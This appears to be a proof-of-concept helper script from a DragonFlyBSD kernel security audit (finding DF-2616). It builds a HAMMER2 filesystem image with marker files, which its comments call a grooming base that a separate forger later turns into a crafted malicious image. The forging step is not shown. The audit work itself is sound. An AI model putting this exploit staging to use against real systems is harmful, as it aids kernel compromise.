DragonFlyBSD Kernel Audit
DF-2616 / mkbase.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2616: build the grooming base image (f1 + 32 small INCOMPRESSIBLE w files)
# All data blocks are 1KB (radix 10); the forger later relocates each w block
# into its own 64KB window with valid geometry.
set -e
vnconfig -u vn0 2>/dev/null || true
cd /root/poc
rm -f base.img
truncate -s 64M base.img
newfs_hammer2 -L testvol base.img >/dev/null
vnconfig -c vn0 /root/poc/base.img
mkdir -p /mnt/h2
mount -t hammer2 /dev/vn0@testvol /mnt/h2
{ printf "PWNDF2616START"; dd if=/dev/urandom bs=1 count=505 2>/dev/null; } > /mnt/h2/f1
i=0
while [ $i -lt 32 ]; do
	printf "WFILE%02dMARKER" $i > /tmp/hdr.bin
	dd if=/dev/urandom bs=584 count=1 2>/dev/null > /tmp/rnd.bin
	cat /tmp/hdr.bin /tmp/rnd.bin > /mnt/h2/w$i
	i=$((i+1))
done
ls -l /mnt/h2 | wc -l
ls -l /mnt/h2/w0 /mnt/h2/f1
sync
umount /mnt/h2
vnconfig -u vn0
echo BASE_G_OK